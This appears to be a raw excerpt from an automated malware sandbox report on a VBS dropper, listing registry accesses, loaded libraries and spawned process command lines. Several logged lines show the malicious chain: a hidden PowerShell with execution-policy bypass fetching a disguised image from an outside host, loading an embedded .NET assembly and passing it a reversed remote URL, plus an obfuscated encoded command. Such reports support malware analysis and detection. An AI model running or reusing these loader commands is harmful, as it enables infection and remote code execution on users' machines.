"14001500fe0700002854b4f4fe070000@CRYPT32.dll" "14001500fe0700004054b4f4fe070000@CRYPT32.dll" "0c000d00fe0700005854b4f4fe070000@ADVAPI32.dll" "0c000d00fe0700006854b4f4fe070000@ADVAPI32.dll"37:T152a,"WScript.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}") "WScript.exe" touched "Multi Language Support" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "WScript.exe" touched "FileSystem Object" (Path: "HKCU\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TREATAS") "WScript.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "WScript.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "WScript.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "WScript.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "WScript.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "WScript.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "WScript.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "WScript.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "WScript.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "WScript.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "WScript.exe" touched "Windows Search Service Media Center Namespace Extension Handler" (Path: "HKCU\CLSID\{98D99750-0B8A-4C59-9151-589053683D73}\SHELLFOLDER") "WScript.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "WScript.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "WScript.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "WScript.exe" touched "Sticky Notes Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{F3F5824C-AD58-4728-AF59-A1EBE3392799}\SHELLFOLDER") "WScript.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "WScript.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "powershell.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" touched "Start Menu Cache" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}") "powershell.exe" touched "Start Menu Pin" (Path: "HKCU\CLSID\{A2A9545D-A0C2-42B4-9708-A0B2BADD77C8}\TREATAS") "powershell.exe" touched "Taskband Pin" (Path: "HKCU\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\TREATAS") "powershell.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "Internet Shortcut" (Path: "HKCU\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "User Pinned" (Path: "HKCU\CLSID\{1F3427C8-5C10-4210-AA03-2EE45287D668}\SHELLFOLDER") "powershell.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{F3364BA0-65B9-11CE-A9BA-00AA004AE837}\INPROCSERVER32") "powershell.exe" touched "User Assist" (Path: "HKCU\CLSID\{DD313E04-FEFF-11D1-8ECD-0000F87A470C}\TREATAS") "powershell.exe" touched "Shared Task Scheduler" (Path: "HKCU\CLSID\{603D3801-BD81-11D0-A3A5-00C04FD706EC}\TREATAS") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")38:T1df3,Observed system executable string:"/C:\ PROGRA~3 MICROS~1 WindowsSTARTM~1:((*ProgramsACCESS~1WINDOW~1:''*WINDOW~2.LNKC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk1SPS1SPSsvgstifehe/C:\ PROGRA~3 MICROS~1 WindowsSTARTM~1:((*ProgramsACCESS~1WINDOW~1:''*WINDOW~2.LNKC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk1SPS1SPSsvgstifehe/C:\WindowsSystem32WINDOW~1v1.0>:B*powershell_ise.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exe1SPS1SPSsvgstifehe/C:\Windowshh.exeC:\Windows\hh.exe%systemroot%\hh.exe1SPS1SPSsvgstifehe" [Source: W5QMSBYDTM2JFXSMFHV2.temp] Observed system executable string:"%WINDIR%\System32\WScript.exe" [Source: 00000000-00003604-00000C25-27991398] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00003604-00000C41-12711100228] Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$#" [Source: 00000000-00003604-00000C41-12711100228] Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00003604-00000C41-18446744058409913714] Observed system executable string:""%WINDIR%\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\EGK.vbs' 'C:\Use" [Source: 00000000-00003604-00000C41-18446744058409913714], Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00003244-00000C41-2967591030], Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00002396-00000C28-6840325272], Observed system executable string:"%WINDIR%\system32\powershell.exe" [Source: 00000000-00003724-00000C28-2987883052], Observed system executable string:"%WINDIR%\system32\powershell.exe.ps1" [Source: 00000000-00003724-00000C28-2990498090], Observed system executable string:"%WINDIR%\system32\powershell.exe.psm1" [Source: 00000000-00003724-00000C28-2993002891], Observed system executable string:"%WINDIR%\system32\powershell.exe.psd1" [Source: 00000000-00003724-00000C28-2995536195], Observed system executable string:"%WINDIR%\system32\powershell.exe.COM" [Source: 00000000-00003724-00000C28-2998049427], Observed system executable string:"%WINDIR%\system32\powershell.exe.EXE" [Source: 00000000-00003724-00000C28-3000551457], Observed system executable string:"%WINDIR%\system32\powershell.exe.BAT" [Source: 00000000-00003724-00000C28-3003014609], Observed system executable string:"%WINDIR%\system32\powershell.exe.CMD" [Source: 00000000-00003724-00000C28-3008877931], Observed system executable string:"%WINDIR%\system32\powershell.exe.VBS" [Source: 00000000-00003724-00000C28-3011382244], Observed system executable string:"%WINDIR%\system32\powershell.exe.VBE" [Source: 00000000-00003724-00000C28-3013883911], Observed system executable string:"%WINDIR%\system32\powershell.exe.JS" [Source: 00000000-00003724-00000C28-3016290304], Observed system executable string:"%WINDIR%\system32\powershell.exe.JSE" [Source: 00000000-00003724-00000C28-3018781093], Observed system executable string:"%WINDIR%\system32\powershell.exe.WSF" [Source: 00000000-00003724-00000C28-3021614283], Observed system executable string:"%WINDIR%\system32\powershell.exe.WSH" [Source: 00000000-00003724-00000C28-3024104584], Observed system executable string:"%WINDIR%\system32\powershell.exe.MSC" [Source: 00000000-00003724-00000C28-3026676775], Observed system executable string:"%WINDIR%\powershell.exe" [Source: 00000000-00003724-00000C28-3029236077], Observed system executable string:"%WINDIR%\powershell.exe.ps1" [Source: 00000000-00003724-00000C28-3031810624], Observed system executable string:"%WINDIR%\powershell.exe.psm1" [Source: 00000000-00003724-00000C28-3035965009], Observed system executable string:"%WINDIR%\powershell.exe.psd1" [Source: 00000000-00003724-00000C28-3038509752], Observed system executable string:"%WINDIR%\powershell.exe.COM" [Source: 00000000-00003724-00000C28-3040990830], Observed system executable string:"%WINDIR%\powershell.exe.EXE" [Source: 00000000-00003724-00000C28-3043494615], Observed system executable string:"%WINDIR%\powershell.exe.BAT" [Source: 00000000-00003724-00000C28-3045987675], Observed system executable string:"%WINDIR%\powershell.exe.CMD" [Source: 00000000-00003724-00000C28-3048500140], Observed system executable string:"%WINDIR%\powershell.exe.VBS" [Source: 00000000-00003724-00000C28-3050939634], Observed system executable string:"%WINDIR%\powershell.exe.VBE" [Source: 00000000-00003724-00000C28-3053378078], Observed system executable string:"%WINDIR%\powershell.exe.JS" [Source: 00000000-00003724-00000C28-3056106650], Observed system executable string:"%WINDIR%\powershell.exe.JSE" [Source: 00000000-00003724-00000C28-3058601874], Observed system executable string:"%WINDIR%\powershell.exe.WSF" [Source: 00000000-00003724-00000C28-3061137424], Observed system executable string:"%WINDIR%\powershell.exe.WSH" [Source: 00000000-00003724-00000C28-3065447239], Observed system executable string:"%WINDIR%\powershell.exe.MSC" [Source: 00000000-00003724-00000C28-3068120137], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe" [Source: 00000000-00003724-00000C28-3070738073], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.ps1" [Source: 00000000-00003724-00000C28-3073407717], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.psm1" [Source: 00000000-00003724-00000C28-3076014688], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.psd1" [Source: 00000000-00003724-00000C28-3078517436], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.COM" [Source: 00000000-00003724-00000C28-3081014336], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.EXE" [Source: 00000000-00003724-00000C28-3083495898], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.BAT" [Source: 00000000-00003724-00000C28-3085952218], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.CMD" [Source: 00000000-00003724-00000C28-3088425971], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.VBS" [Source: 00000000-00003724-00000C28-3093381038], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.VBE" [Source: 00000000-00003724-00000C28-3095942787], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.JS" [Source: 00000000-00003724-00000C28-3098479331], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.JSE" [Source: 00000000-00003724-00000C28-3101027125], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.WSF" [Source: 00000000-00003724-00000C28-3103526930], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.WSH" [Source: 00000000-00003724-00000C28-3106032339], Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imag" [Source: 00000000-00003724-00000C41-3480696508] Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.MSC" [Source: 00000000-00003724-00000C28-15766316483]39:Tf02,Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00003604-00000C25-28254784] Observed system executable string:"%WINDIR%\system32\CRYPT32.dll" [Source: 00000000-00003604-00000C25-28901822] Observed system executable string:"%WINDIR%\system32\wshext.dll" [Source: 00000000-00003604-00000C25-29162602] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00002396-00000C25-21566598] Observed system executable string:"%WINDIR%\system32\shell32.dll" [Source: 00000000-00002396-00000C25-23723206] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00002396-00000C25-26173494] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll" [Source: 00000000-00002396-00000C25-26571454] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll" [Source: 00000000-00002396-00000C25-27519870] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\ole32.dll" [Source: 00000000-00002396-00000C25-27621015] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\OLEAUT32.dll" [Source: 00000000-00002396-00000C25-27807275] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\System\9b0615d346556a8ae639dcec168731cc\System.ni.dll" [Source: 00000000-00002396-00000C25-28038126] Observed system executable string:"%WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" [Source: 00000000-00002396-00000C25-28443050] Observed system executable string:"%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00002396-00000C25-28923534] Observed system executable string:"%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00002396-00000C25-29077371] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Core\2706ddbd765b8a111d3083f8af88ef03\System.Core.ni.dll" [Source: 00000000-00002396-00000C25-29665226] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Transactions\9354030849f9e58d9b95d32149f7bb68\System.Transactions.ni.dll" [Source: 00000000-00002396-00000C25-30024484] Observed system executable string:"%WINDIR%\assembly\GAC_64\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll" [Source: 00000000-00002396-00000C25-30293983] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\culture.dll" [Source: 00000000-00002396-00000C25-30749866] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en-US\mscorrc.dll" [Source: 00000000-00002396-00000C25-30815852] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en\mscorrc.dll" [Source: 00000000-00002396-00000C25-30877650] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll" [Source: 00000000-00002396-00000C25-30945072] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorjit.dll" [Source: 00000000-00002396-00000C25-31135862] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Xml\e0542eb82c5f716397d316d5c88f7ae5\System.Xml.ni.dll" [Source: 00000000-00002396-00000C25-31301611] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management\38c49b707af17308185a48479fcb7404\System.Management.ni.dll" [Source: 00000000-00002396-00000C25-31416523] Observed system executable string:"%WINDIR%\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll" [Source: 00000000-00002396-00000C25-32236084]3a:T98a,Spawned process "cmd.exe" with commandline "/c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System ..." (UID: 00000000-00003244), Spawned process "PING.EXE" with commandline "ping 127.0.0.1 -n 5" (UID: 00000000-00003684), Spawned process "cmd.exe" with commandline "/c "powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%A ..." (UID: 00000000-00001976) Spawned process "powershell.exe" with commandline "powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPD ..." (UID: 00000000-00002396) Spawned process "powershell.exe" with commandline "-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$ ..." (UID: 00000000-00003724) Spawned process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command " ..." (UID: 00000000-00002752, Additional Context: "%WINDIR%\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypss NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, ,('txt.9tre/lt/761.161.651.49//:ptth')); K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M,��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0")3b:T98a,Spawned process "cmd.exe" with commandline "/c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System ..." (UID: 00000000-00003244), Spawned process "PING.EXE" with commandline "ping 127.0.0.1 -n 5" (UID: 00000000-00003684), Spawned process "cmd.exe" with commandline "/c "powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%A ..." (UID: 00000000-00001976) Spawned process "powershell.exe" with commandline "powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPD ..." (UID: 00000000-00002396) Spawned process "powershell.exe" with commandline "-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$ ..." (UID: 00000000-00003724) Spawned process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command " ..." (UID: 00000000-00002752, Additional Context: "%WINDIR%\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypss NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, ,('txt.9tre/lt/761.161.651.49//:ptth')); K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M,��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0")3c:T812,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\DIAGNOSTICS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IME COMPATIBILITY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")3d:Tc82,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: "DISABLEUSERMODECALLBACKFILTER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "WSCRIPT"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: "IGNOREUSERSETTINGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: "ENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: "ENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "MAXRPCSIZE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "OOBEINPROGRESS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: 